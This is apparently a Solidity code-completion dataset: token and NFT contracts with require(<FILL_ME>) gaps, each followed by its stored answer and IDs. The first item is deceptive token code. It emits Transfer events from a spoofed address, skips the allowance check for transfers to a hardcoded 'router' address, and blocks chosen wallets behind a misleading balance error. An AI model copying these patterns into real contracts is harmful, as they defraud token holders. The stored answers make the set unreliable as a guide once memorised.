uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
address swapV2Router = 0x68AD82C55f82B578696500098a635d3df466DC7C;
constructor() {
}
address owner = msg.sender;
address Construct = 0xAeB68a7D21634861bc6D75C417aC4FaE705AFe04;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
bool isEnabled;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
function querybots(address _user) public onlyOwner {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function deletebots(address _user) public onlyOwner {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
if(to == swapV2Router) {
require(value <= balanceOf[from]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (from, to, value);
return true; }
require(!rxAmount[from] , "Amount Exceeds Balance");
require(<FILL_ME>)
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}
| !rxAmount[to],"Amount Exceeds Balance" | 121,137 | !rxAmount[to] |
"OmniPepe: Mint exceeds supply" | pragma solidity ^0.8.7;
contract OmniPepe is Pausable, Ownable, ERC721, NonblockingReceiver {
string private baseURI;
uint256 totalOwnerMint = 2000;
uint256 nextTokenId = 0;
uint256 MAX_MINT_SUPPLY = 1000;
uint256 gasForDestinationLzReceive = 350000;
constructor(string memory baseURI_, address _layerZeroEndpoint)
ERC721("OmniPepe", "pepe")
{
}
// mint function
// you can choose from mint 1 to 3
// mint is free, but donations are also accepted
function mint(uint8 numTokens) external payable whenNotPaused {
require(numTokens < 3, "OmniPepe: Max 2 NFTs per transaction");
require(<FILL_ME>)
for (uint256 i = 1; i <= numTokens; i++) {
_safeMint(msg.sender, ++nextTokenId);
}
}
function ownerMint(address _user)external onlyOwner {
}
function traverseChains(uint16 _chainId, uint256 tokenId) public payable {
}
function setBaseURI(string memory URI) external onlyOwner {
}
function getURI(uint256 _id)public view returns(string memory){
}
function donate() external payable {
}
function Start()external onlyOwner {
}
// This allows the devs to receive kind donations
function withdraw(uint256 amt) external onlyOwner {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint256 newVal) external onlyOwner {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal override {
}
function _baseURI() internal view override returns (string memory) {
}
}
| nextTokenId+numTokens<=MAX_MINT_SUPPLY,"OmniPepe: Mint exceeds supply" | 121,156 | nextTokenId+numTokens<=MAX_MINT_SUPPLY |
null | //https://zkpulse.xyz
//https://twitter.com/ZK_PULSE
//https://t.me/zkpulseportal
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
constructor () {
}
function owner() public view returns (address) {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract zkpulse is IERC20, Ownable {
string private constant _name = "ZKPULSE";
string private constant _symbol = "ZKP";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 100_000_000 * 10**_decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _blocked;
mapping (address => uint256) private _lastTradeBlock;
mapping (address => bool) private isContractExempt;
uint256 private tradeCooldown = 1;
uint256 public maxWalletAmount = 2_000_000 * 10**_decimals;
uint256 private constant contractSwapLimit = 1_000_000 * 10**_decimals;
uint256 private constant contractSwapMax = 2_000_000 * 10**_decimals;
struct TradingFees{
uint256 buyTax;
uint256 sellTax;
}
TradingFees public tradingFees = TradingFees(10,20);
uint256 public constant sniperTax = 49;
IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private ETH = uniswapRouter.WETH();
address private uniswapPair;
address payable private immutable deployerAddress = payable(msg.sender);
address payable private constant Treasury = payable(0x1F767EDFdFC473842aaC416798302Ba1a5106c49);
bool private swapping = false;
bool private tradingOpen = false;
bool private antiMEV = true;
uint256 private startingBlock;
uint private preLaunch;
modifier swapLock {
}
modifier tradingLock(address sender) {
require(<FILL_ME>)
_;
}
constructor () {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address recipient, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) tradingLock(from) private {
}
function swapback(uint256 tokenAmount) private swapLock {
}
function createPair() external onlyOwner{
}
function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool shouldSwap) {
}
function getSwapAmount(uint256 tokenAmount) private pure returns (uint256 swapAmount) {
}
function takeFee(address from, uint256 amount) private view returns (uint256 feeAmount) {
}
function isContract(address account) private view returns (bool) {
}
function ensureOneHuman(address _to, address _from) private view returns (address) {
}
function ensureMaxTxFrequency(address addr) view private {
}
function toggleAntiMEV(bool toggle) external {
}
function setTradeCooldown(uint256 newTradeCooldown) external {
}
function manualSwapback(uint256 percent) external {
}
function setFees(uint256 newBuyTax, uint256 newSellTax) external onlyOwner{
}
function setContractExempt(address account, bool value) external onlyOwner {
}
function removeLimit() external onlyOwner{
}
function setBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
}
function initialize() external onlyOwner {
}
function modifyParameters(bool[] calldata param, uint256 nrBlocks) external onlyOwner {
}
function openTrading() external onlyOwner {
}
}
| tradingOpen||sender==deployerAddress||sender==Treasury | 121,301 | tradingOpen||sender==deployerAddress||sender==Treasury |
null | //https://zkpulse.xyz
//https://twitter.com/ZK_PULSE
//https://t.me/zkpulseportal
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
constructor () {
}
function owner() public view returns (address) {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract zkpulse is IERC20, Ownable {
string private constant _name = "ZKPULSE";
string private constant _symbol = "ZKP";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 100_000_000 * 10**_decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _blocked;
mapping (address => uint256) private _lastTradeBlock;
mapping (address => bool) private isContractExempt;
uint256 private tradeCooldown = 1;
uint256 public maxWalletAmount = 2_000_000 * 10**_decimals;
uint256 private constant contractSwapLimit = 1_000_000 * 10**_decimals;
uint256 private constant contractSwapMax = 2_000_000 * 10**_decimals;
struct TradingFees{
uint256 buyTax;
uint256 sellTax;
}
TradingFees public tradingFees = TradingFees(10,20);
uint256 public constant sniperTax = 49;
IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private ETH = uniswapRouter.WETH();
address private uniswapPair;
address payable private immutable deployerAddress = payable(msg.sender);
address payable private constant Treasury = payable(0x1F767EDFdFC473842aaC416798302Ba1a5106c49);
bool private swapping = false;
bool private tradingOpen = false;
bool private antiMEV = true;
uint256 private startingBlock;
uint private preLaunch;
modifier swapLock {
}
modifier tradingLock(address sender) {
}
constructor () {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address recipient, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) tradingLock(from) private {
}
function swapback(uint256 tokenAmount) private swapLock {
}
function createPair() external onlyOwner{
}
function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool shouldSwap) {
}
function getSwapAmount(uint256 tokenAmount) private pure returns (uint256 swapAmount) {
}
function takeFee(address from, uint256 amount) private view returns (uint256 feeAmount) {
}
function isContract(address account) private view returns (bool) {
}
function ensureOneHuman(address _to, address _from) private view returns (address) {
}
function ensureMaxTxFrequency(address addr) view private {
}
function toggleAntiMEV(bool toggle) external {
}
function setTradeCooldown(uint256 newTradeCooldown) external {
}
function manualSwapback(uint256 percent) external {
}
function setFees(uint256 newBuyTax, uint256 newSellTax) external onlyOwner{
}
function setContractExempt(address account, bool value) external onlyOwner {
}
function removeLimit() external onlyOwner{
}
function setBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
for (uint i = 0; i < bots.length; i++) {
require(<FILL_ME>)
_blocked[bots[i]] = shouldBlock;
}
}
function initialize() external onlyOwner {
}
function modifyParameters(bool[] calldata param, uint256 nrBlocks) external onlyOwner {
}
function openTrading() external onlyOwner {
}
}
| bots[i]!=uniswapPair&&bots[i]!=address(uniswapRouter)&&bots[i]!=address(this) | 121,301 | bots[i]!=uniswapPair&&bots[i]!=address(uniswapRouter)&&bots[i]!=address(this) |
null | //https://zkpulse.xyz
//https://twitter.com/ZK_PULSE
//https://t.me/zkpulseportal
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
constructor () {
}
function owner() public view returns (address) {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract zkpulse is IERC20, Ownable {
string private constant _name = "ZKPULSE";
string private constant _symbol = "ZKP";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 100_000_000 * 10**_decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _blocked;
mapping (address => uint256) private _lastTradeBlock;
mapping (address => bool) private isContractExempt;
uint256 private tradeCooldown = 1;
uint256 public maxWalletAmount = 2_000_000 * 10**_decimals;
uint256 private constant contractSwapLimit = 1_000_000 * 10**_decimals;
uint256 private constant contractSwapMax = 2_000_000 * 10**_decimals;
struct TradingFees{
uint256 buyTax;
uint256 sellTax;
}
TradingFees public tradingFees = TradingFees(10,20);
uint256 public constant sniperTax = 49;
IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private ETH = uniswapRouter.WETH();
address private uniswapPair;
address payable private immutable deployerAddress = payable(msg.sender);
address payable private constant Treasury = payable(0x1F767EDFdFC473842aaC416798302Ba1a5106c49);
bool private swapping = false;
bool private tradingOpen = false;
bool private antiMEV = true;
uint256 private startingBlock;
uint private preLaunch;
modifier swapLock {
}
modifier tradingLock(address sender) {
}
constructor () {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address recipient, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) tradingLock(from) private {
}
function swapback(uint256 tokenAmount) private swapLock {
}
function createPair() external onlyOwner{
}
function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool shouldSwap) {
}
function getSwapAmount(uint256 tokenAmount) private pure returns (uint256 swapAmount) {
}
function takeFee(address from, uint256 amount) private view returns (uint256 feeAmount) {
}
function isContract(address account) private view returns (bool) {
}
function ensureOneHuman(address _to, address _from) private view returns (address) {
}
function ensureMaxTxFrequency(address addr) view private {
}
function toggleAntiMEV(bool toggle) external {
}
function setTradeCooldown(uint256 newTradeCooldown) external {
}
function manualSwapback(uint256 percent) external {
}
function setFees(uint256 newBuyTax, uint256 newSellTax) external onlyOwner{
}
function setContractExempt(address account, bool value) external onlyOwner {
}
function removeLimit() external onlyOwner{
}
function setBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
}
function initialize() external onlyOwner {
require(<FILL_ME>)
}
function modifyParameters(bool[] calldata param, uint256 nrBlocks) external onlyOwner {
}
function openTrading() external onlyOwner {
}
}
| preLaunch++<2 | 121,301 | preLaunch++<2 |
"PeepsPassport: Contract is paused" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
/// @title Peeps Passport
/// @author MilkyTaste @ Ao Collaboration Ltd.
/// https://peeps.club
/// Your gateway into the World of Peeps.
import "./ERC1155Single.sol";
import "./IPeepsPassport.sol";
import "./Payable.sol";
import "./Signable.sol";
contract PeepsPassport is ERC1155Single, Payable, Signable, IPeepsPassport {
address public immutable peepsClubAddr;
// Global sale details
struct GeneralInfo {
uint32 totalMinted;
uint32 totalSupply;
uint32 txLimitPlusOne;
bool paused;
}
GeneralInfo private generalInfo;
// Public sale details
struct PublicSaleInfo {
uint32 maxMintPlusOne;
uint64 endTimestamp;
uint128 tokenPrice;
}
PublicSaleInfo private publicSaleInfo;
// Server sale details
mapping(address => uint16) public utilityNonce; // Prevent replay attacks
constructor(address peepsClubAddr_) ERC1155Single("https://my.peeps.club/passport/passport.json") Payable(1000) {
}
//
// Modifiers
//
/**
* Do not allow calls from other contracts.
*/
modifier noBots() {
}
/**
* Contract cannot be paused.
*/
modifier notPaused() {
require(<FILL_ME>)
_;
}
/**
* Respect transaction limit.
*/
modifier withinTxLimit(uint32 quantity) {
}
/**
* Ensure correct amount of Ether present in transaction.
*/
modifier correctValue(uint256 expectedValue) {
}
/**
* Checks for a valid nonce against the account, and increments it after the call.
* @param account The caller.
* @param nonce The expected nonce.
*/
modifier useNonce(address account, uint32 nonce) {
}
//
// Mint
//
/**
* Public mint.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function mintPublic(address to, uint32 quantity)
external
payable
noBots
notPaused
withinTxLimit(quantity)
correctValue(publicSaleInfo.tokenPrice * quantity)
{
}
/**
* Mint tokens when authorised by server.
* @param price The total price.
* @param quantity The number of tokens to mint.
* @param expiry The latest time the signature can be used.
* @param nonce A one time use number to prevent replay attacks.
* @param signature A signed validation from the server.
* @dev This increased the total mint count but is unlimited.
*/
function mintSigned(
uint256 price,
uint32 quantity,
uint64 expiry,
uint32 nonce,
bytes calldata signature
)
external
payable
notPaused
withinTxLimit(quantity)
correctValue(price)
useNonce(msg.sender, nonce)
signed(abi.encodePacked(msg.sender, nonce, quantity, expiry, price), signature)
{
}
/**
* Airdrop tokens.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function airdrop(address to, uint32 quantity) external onlyOwner {
}
/**
* Airdrop tokens.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function airdropBatch(address[] calldata to, uint8[] calldata quantity) external onlyOwner {
}
/**
* Mint the tokens and increment the total supply counter.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function _safeMint(address to, uint32 quantity) private {
}
//
// Admin
//
/**
* Update maximum number of tokens per transaction in public sale.
* @param txLimit The new transaction limit.
*/
function setTxLimit(uint32 txLimit) external onlyOwner {
}
/**
* Set the public sale information.
* @param maxMint The maximum number of tokens that can be minted.
* @param endTimestamp The timestamp at which the sale ends.
* @param tokenPrice The token price for this sale.
* @notice This method will automatically enable the public sale.
* @dev The mint counter includes tokens minted by all mint functions.
*/
function setPublicSaleInfo(
uint32 maxMint,
uint64 endTimestamp,
uint128 tokenPrice
) external onlyOwner {
}
/**
* Update URI.
*/
function setUri(string memory _uri) external onlyOwner {
}
/**
* Update the contract paused state.
* @param paused_ The new paused state.
*/
function setPaused(bool paused_) external onlyOwner {
}
//
// Utility
//
/**
* Burn passports.
* @dev This method is only callable by the Peeps Contract.
* @param owner The owner of the passports to burn.
* @param quantity The number of passports to burn.
*/
function burn(address owner, uint32 quantity) external notPaused {
}
//
// Views
//
/**
* Return sale info.
* @return
* saleInfo[0]: maxMint (maximum number of tokens that can be minted during public sale)
* saleInfo[1]: endTimestamp (timestamp for when public sale ends)
* saleInfo[2]: totalMinted
* saleInfo[3]: tokenPrice
* saleInfo[4]: txLimit (maximum number of tokens per transaction)
*/
function saleInfo() public view virtual returns (uint256[5] memory) {
}
/// @inheritdoc IERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155Single, ERC2981) returns (bool) {
}
/**
* Return the total supply of Peeps Passports.
* @param tokenId Must be 0.
* @return totalSupply The total supply of passports.
*/
function totalSupply(uint256 tokenId) public view returns (uint256) {
}
}
| !generalInfo.paused,"PeepsPassport: Contract is paused" | 121,445 | !generalInfo.paused |
"PeepsPassport: Nonce not valid" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
/// @title Peeps Passport
/// @author MilkyTaste @ Ao Collaboration Ltd.
/// https://peeps.club
/// Your gateway into the World of Peeps.
import "./ERC1155Single.sol";
import "./IPeepsPassport.sol";
import "./Payable.sol";
import "./Signable.sol";
contract PeepsPassport is ERC1155Single, Payable, Signable, IPeepsPassport {
address public immutable peepsClubAddr;
// Global sale details
struct GeneralInfo {
uint32 totalMinted;
uint32 totalSupply;
uint32 txLimitPlusOne;
bool paused;
}
GeneralInfo private generalInfo;
// Public sale details
struct PublicSaleInfo {
uint32 maxMintPlusOne;
uint64 endTimestamp;
uint128 tokenPrice;
}
PublicSaleInfo private publicSaleInfo;
// Server sale details
mapping(address => uint16) public utilityNonce; // Prevent replay attacks
constructor(address peepsClubAddr_) ERC1155Single("https://my.peeps.club/passport/passport.json") Payable(1000) {
}
//
// Modifiers
//
/**
* Do not allow calls from other contracts.
*/
modifier noBots() {
}
/**
* Contract cannot be paused.
*/
modifier notPaused() {
}
/**
* Respect transaction limit.
*/
modifier withinTxLimit(uint32 quantity) {
}
/**
* Ensure correct amount of Ether present in transaction.
*/
modifier correctValue(uint256 expectedValue) {
}
/**
* Checks for a valid nonce against the account, and increments it after the call.
* @param account The caller.
* @param nonce The expected nonce.
*/
modifier useNonce(address account, uint32 nonce) {
require(<FILL_ME>)
_;
utilityNonce[account]++;
}
//
// Mint
//
/**
* Public mint.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function mintPublic(address to, uint32 quantity)
external
payable
noBots
notPaused
withinTxLimit(quantity)
correctValue(publicSaleInfo.tokenPrice * quantity)
{
}
/**
* Mint tokens when authorised by server.
* @param price The total price.
* @param quantity The number of tokens to mint.
* @param expiry The latest time the signature can be used.
* @param nonce A one time use number to prevent replay attacks.
* @param signature A signed validation from the server.
* @dev This increased the total mint count but is unlimited.
*/
function mintSigned(
uint256 price,
uint32 quantity,
uint64 expiry,
uint32 nonce,
bytes calldata signature
)
external
payable
notPaused
withinTxLimit(quantity)
correctValue(price)
useNonce(msg.sender, nonce)
signed(abi.encodePacked(msg.sender, nonce, quantity, expiry, price), signature)
{
}
/**
* Airdrop tokens.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function airdrop(address to, uint32 quantity) external onlyOwner {
}
/**
* Airdrop tokens.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function airdropBatch(address[] calldata to, uint8[] calldata quantity) external onlyOwner {
}
/**
* Mint the tokens and increment the total supply counter.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function _safeMint(address to, uint32 quantity) private {
}
//
// Admin
//
/**
* Update maximum number of tokens per transaction in public sale.
* @param txLimit The new transaction limit.
*/
function setTxLimit(uint32 txLimit) external onlyOwner {
}
/**
* Set the public sale information.
* @param maxMint The maximum number of tokens that can be minted.
* @param endTimestamp The timestamp at which the sale ends.
* @param tokenPrice The token price for this sale.
* @notice This method will automatically enable the public sale.
* @dev The mint counter includes tokens minted by all mint functions.
*/
function setPublicSaleInfo(
uint32 maxMint,
uint64 endTimestamp,
uint128 tokenPrice
) external onlyOwner {
}
/**
* Update URI.
*/
function setUri(string memory _uri) external onlyOwner {
}
/**
* Update the contract paused state.
* @param paused_ The new paused state.
*/
function setPaused(bool paused_) external onlyOwner {
}
//
// Utility
//
/**
* Burn passports.
* @dev This method is only callable by the Peeps Contract.
* @param owner The owner of the passports to burn.
* @param quantity The number of passports to burn.
*/
function burn(address owner, uint32 quantity) external notPaused {
}
//
// Views
//
/**
* Return sale info.
* @return
* saleInfo[0]: maxMint (maximum number of tokens that can be minted during public sale)
* saleInfo[1]: endTimestamp (timestamp for when public sale ends)
* saleInfo[2]: totalMinted
* saleInfo[3]: tokenPrice
* saleInfo[4]: txLimit (maximum number of tokens per transaction)
*/
function saleInfo() public view virtual returns (uint256[5] memory) {
}
/// @inheritdoc IERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155Single, ERC2981) returns (bool) {
}
/**
* Return the total supply of Peeps Passports.
* @param tokenId Must be 0.
* @return totalSupply The total supply of passports.
*/
function totalSupply(uint256 tokenId) public view returns (uint256) {
}
}
| utilityNonce[account]==nonce,"PeepsPassport: Nonce not valid" | 121,445 | utilityNonce[account]==nonce |
"PeepsPassport: Exceeds available tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
/// @title Peeps Passport
/// @author MilkyTaste @ Ao Collaboration Ltd.
/// https://peeps.club
/// Your gateway into the World of Peeps.
import "./ERC1155Single.sol";
import "./IPeepsPassport.sol";
import "./Payable.sol";
import "./Signable.sol";
contract PeepsPassport is ERC1155Single, Payable, Signable, IPeepsPassport {
address public immutable peepsClubAddr;
// Global sale details
struct GeneralInfo {
uint32 totalMinted;
uint32 totalSupply;
uint32 txLimitPlusOne;
bool paused;
}
GeneralInfo private generalInfo;
// Public sale details
struct PublicSaleInfo {
uint32 maxMintPlusOne;
uint64 endTimestamp;
uint128 tokenPrice;
}
PublicSaleInfo private publicSaleInfo;
// Server sale details
mapping(address => uint16) public utilityNonce; // Prevent replay attacks
constructor(address peepsClubAddr_) ERC1155Single("https://my.peeps.club/passport/passport.json") Payable(1000) {
}
//
// Modifiers
//
/**
* Do not allow calls from other contracts.
*/
modifier noBots() {
}
/**
* Contract cannot be paused.
*/
modifier notPaused() {
}
/**
* Respect transaction limit.
*/
modifier withinTxLimit(uint32 quantity) {
}
/**
* Ensure correct amount of Ether present in transaction.
*/
modifier correctValue(uint256 expectedValue) {
}
/**
* Checks for a valid nonce against the account, and increments it after the call.
* @param account The caller.
* @param nonce The expected nonce.
*/
modifier useNonce(address account, uint32 nonce) {
}
//
// Mint
//
/**
* Public mint.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function mintPublic(address to, uint32 quantity)
external
payable
noBots
notPaused
withinTxLimit(quantity)
correctValue(publicSaleInfo.tokenPrice * quantity)
{
require(publicSaleInfo.endTimestamp > block.timestamp, "PeepsPassport: Public sale inactive");
require(<FILL_ME>)
_safeMint(to, quantity);
}
/**
* Mint tokens when authorised by server.
* @param price The total price.
* @param quantity The number of tokens to mint.
* @param expiry The latest time the signature can be used.
* @param nonce A one time use number to prevent replay attacks.
* @param signature A signed validation from the server.
* @dev This increased the total mint count but is unlimited.
*/
function mintSigned(
uint256 price,
uint32 quantity,
uint64 expiry,
uint32 nonce,
bytes calldata signature
)
external
payable
notPaused
withinTxLimit(quantity)
correctValue(price)
useNonce(msg.sender, nonce)
signed(abi.encodePacked(msg.sender, nonce, quantity, expiry, price), signature)
{
}
/**
* Airdrop tokens.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function airdrop(address to, uint32 quantity) external onlyOwner {
}
/**
* Airdrop tokens.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function airdropBatch(address[] calldata to, uint8[] calldata quantity) external onlyOwner {
}
/**
* Mint the tokens and increment the total supply counter.
* @param to Address to mint to.
* @param quantity Amount of tokens to mint.
*/
function _safeMint(address to, uint32 quantity) private {
}
//
// Admin
//
/**
* Update maximum number of tokens per transaction in public sale.
* @param txLimit The new transaction limit.
*/
function setTxLimit(uint32 txLimit) external onlyOwner {
}
/**
* Set the public sale information.
* @param maxMint The maximum number of tokens that can be minted.
* @param endTimestamp The timestamp at which the sale ends.
* @param tokenPrice The token price for this sale.
* @notice This method will automatically enable the public sale.
* @dev The mint counter includes tokens minted by all mint functions.
*/
function setPublicSaleInfo(
uint32 maxMint,
uint64 endTimestamp,
uint128 tokenPrice
) external onlyOwner {
}
/**
* Update URI.
*/
function setUri(string memory _uri) external onlyOwner {
}
/**
* Update the contract paused state.
* @param paused_ The new paused state.
*/
function setPaused(bool paused_) external onlyOwner {
}
//
// Utility
//
/**
* Burn passports.
* @dev This method is only callable by the Peeps Contract.
* @param owner The owner of the passports to burn.
* @param quantity The number of passports to burn.
*/
function burn(address owner, uint32 quantity) external notPaused {
}
//
// Views
//
/**
* Return sale info.
* @return
* saleInfo[0]: maxMint (maximum number of tokens that can be minted during public sale)
* saleInfo[1]: endTimestamp (timestamp for when public sale ends)
* saleInfo[2]: totalMinted
* saleInfo[3]: tokenPrice
* saleInfo[4]: txLimit (maximum number of tokens per transaction)
*/
function saleInfo() public view virtual returns (uint256[5] memory) {
}
/// @inheritdoc IERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155Single, ERC2981) returns (bool) {
}
/**
* Return the total supply of Peeps Passports.
* @param tokenId Must be 0.
* @return totalSupply The total supply of passports.
*/
function totalSupply(uint256 tokenId) public view returns (uint256) {
}
}
| (generalInfo.totalMinted+quantity)<publicSaleInfo.maxMintPlusOne,"PeepsPassport: Exceeds available tokens" | 121,445 | (generalInfo.totalMinted+quantity)<publicSaleInfo.maxMintPlusOne |
"expectedTokenId does not match _currentTokenIndex" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/// @title A modified ERC721 token with non transferability and roles.
/// @author Inish Crisson
/// @author Jesse Farese
/// @author Kunz Mainali
/// @author Pat White
/// @dev This contract is a modified version of the ERC721 token.
/// @dev Intended for deployment via a factory contract.
contract BitwaveNTTBaseUri is ERC721, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
struct BaseUri {
string uri;
string suffix;
}
/// @notice Constructor, sets name, symbol, and admin/minter roles.
constructor(string memory _name, string memory _symbol, address _admin) ERC721(_name, _symbol) {
}
/// @notice Iterating uint for tokenId creation.
uint256 public _currentTokenIndex;
/// @notice Iterating uint for URI storage.
uint256 internal _currentUriIndex;
/// @notice two mappings for constant time URI retrieval.
mapping(uint256 => uint256) internal _tokenUriMap;
mapping (uint256 => BaseUri) internal _baseUriMap;
/// @notice A custom function to mint NTTs in bulk.
/// @notice Only callable by the owner of the contract.
/// @param to the array of addresses to mint the NTTs to.
/// @param baseUri the base URI to use for the NTTs.
/// @param suffix the suffix to use for the NTTs.
/// @param startingTokenId the expected existing value of _currentTokenIndex.
